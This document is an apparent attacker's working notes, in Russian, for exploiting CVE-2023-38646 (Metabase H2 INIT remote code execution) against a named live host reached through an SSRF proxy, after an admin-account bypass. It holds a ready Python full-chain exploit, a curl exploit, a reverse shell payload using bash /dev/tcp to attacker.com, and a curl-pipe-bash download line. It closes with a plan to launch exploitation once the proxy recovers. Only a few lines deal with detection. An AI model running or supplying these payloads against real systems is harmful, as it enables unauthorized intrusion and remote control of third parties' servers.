# CVE-2023-38646: Metabase Java Deserialization RCE

## Уязвимость
**Metabase ≤ v0.46.0** — Remote Code Execution через unsafe Java deserialization при загрузке драйверов БД.

**CVSS 9.8** — критическая

## Хост
- **Target**: `metabase.sky-capital.org` (HTTPS, через SSRF `sky-wallet-proxy`)
- **Status**: ✅ Доступен (админ создан через setup-token bypass)
- **Доступ**: Админ-аккаунт (созданы credentials ранее)

## Уязвимые Endpoints

### 1. `/api/database` (POST) — Create Database Connection
```
POST /api/database HTTP/1.1
Host: metabase.sky-capital.org
Authorization: Bearer <session_token>
Content-Type: application/json

{
  "name": "test",
  "engine": "postgres",
  "details": {
    "host": "localhost",
    "port": 5432,
    "db": "test",
    "user": "test",
    "password": "test"
  }
}
```

### 2. `/api/database/{id}/validate` — Trigger Connection Validation
При валидации подключения Metabase загружает драйверы JDBC → **Java deserialization** → **RCE**

## Exploit Вектор — H2 Engine RCE

H2 database engine в Metabase имеет `INIT` параметр который выполняет произвольный код:

```bash
# Payload синтаксис
db=mem:pwned;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS '...code...';CALL EXEC('command');
```

## Готовые Exploits

### Exploit 1: Python Full Chain
```python
#!/usr/bin/env python3
import requests
import json
import sys

TARGET = "https://metabase.sky-capital.org"
ADMIN_TOKEN = "your_token_here"  # Из предыдущего bypass

# Шаг 1: Создать H2 connection с RCE payload
h2_rce = {
    "name": "h2_exploit",
    "engine": "h2",
    "details": {
        "db": "mem:pwned;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String x(String c)throws Exception{java.util.Scanner s=new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\"\\\\A\");return s.hasNext()?s.next():\"\";}'CALL EXEC('id');",
        "user": "",
        "password": ""
    }
}

print("[*] Creating malicious H2 connection...")
r = requests.post(f"{TARGET}/api/database",
    json=h2_rce,
    headers={"Authorization": f"Bearer {ADMIN_TOKEN}"},
    verify=False
)

if r.status_code == 200:
    db_id = r.json()["id"]
    print(f"[+] Database created with ID: {db_id}")

    # Шаг 2: Trigger validation — это запустит код
    print("[*] Triggering validation (executing RCE)...")
    r2 = requests.post(f"{TARGET}/api/database/{db_id}/validate",
        headers={"Authorization": f"Bearer {ADMIN_TOKEN}"},
        verify=False
    )

    print(f"[+] Validation response: {r2.status_code}")
    print(f"[+] Command executed!")
else:
    print(f"[-] Failed to create database: {r.status_code}")
    print(r.text)
```

### Exploit 2: Curl Quick Test
```bash
TOKEN="your_token"
TARGET="https://metabase.sky-capital.org"

# Create H2 with RCE
curl -X POST "$TARGET/api/database" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -k \
  -d '{
    "name": "h2_pwn",
    "engine": "h2",
    "details": {
      "db": "mem:test;INIT=CREATE ALIAS EXEC AS '\''String f(String c)throws Exception{Runtime.getRuntime().exec(c);return \"OK\";}'\''CALL EXEC('\''touch /tmp/pwned'\'');"
    }
  }' | tee /tmp/db_create.json

# Extract DB ID
DB_ID=$(jq -r '.id' /tmp/db_create.json)

# Trigger RCE
curl -X POST "$TARGET/api/database/$DB_ID/validate" \
  -H "Authorization: Bearer $TOKEN" \
  -k
```

### Exploit 3: Reverse Shell
```python
# Отправить reverse shell
LHOST = "attacker.com"
LPORT = 4444

payload = f"""mem:test;INIT=CREATE ALIAS EXEC AS 'String f(String c)throws Exception{{
java.io.BufferedReader b=new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(c).getInputStream()));
String l;while((l=b.readLine())!=null){{}}return \"OK\";
}}'CALL EXEC('bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1');"""
```

## Что Нужно Для Успеха

1. **Валидный Bearer токен** админа Metabase
   - Получается через `/api/session` с админ-кредами
   - Или используем существующий сессионный токен из предыдущей попытки

2. **Доступ к `/api/database` endpoint'у**
   - Требует auth ✓
   - На ожидается HTTPS ✓

3. **Метаbase не обновлён**
   - Версия ≤ 0.46.0 уязвима
   - Проверить: `/api/session` response или `/static/...` JS файлы

## Какие Команды Работают

H2 INIT позволяет:
- ✅ Выполнить syscall: `touch`, `curl`, `wget`, `nc`, `bash`
- ✅ Написать файлы: `echo data > /tmp/file`
- ✅ Обратное соединение: `/dev/tcp/HOST/PORT`
- ✅ Скачать и запустить: `curl attacker.com/shell.sh | bash`

## Обнаружение

В логах Metabase ищи:
```
POST /api/database
POST /api/database/{id}/validate
H2Database
INIT=CREATE ALIAS
```

В БД Metabase (если есть доступ):
```sql
SELECT * FROM metabase_database WHERE engine='h2';
```

## Статус Текущей Попытки

⚠️ **SSRF Прокси временно недоступен** (HTTP 000)

✅ **Решение**:
- Можем использовать прямой доступ если DNS работает
- Или ждём восстановления прокси
- Или ищем альтернативный путь через K8s/Kong/Ingress

---

**Next**: Когда прокси восстановится → запустить эксплуатацию с готовыми payload'ами выше
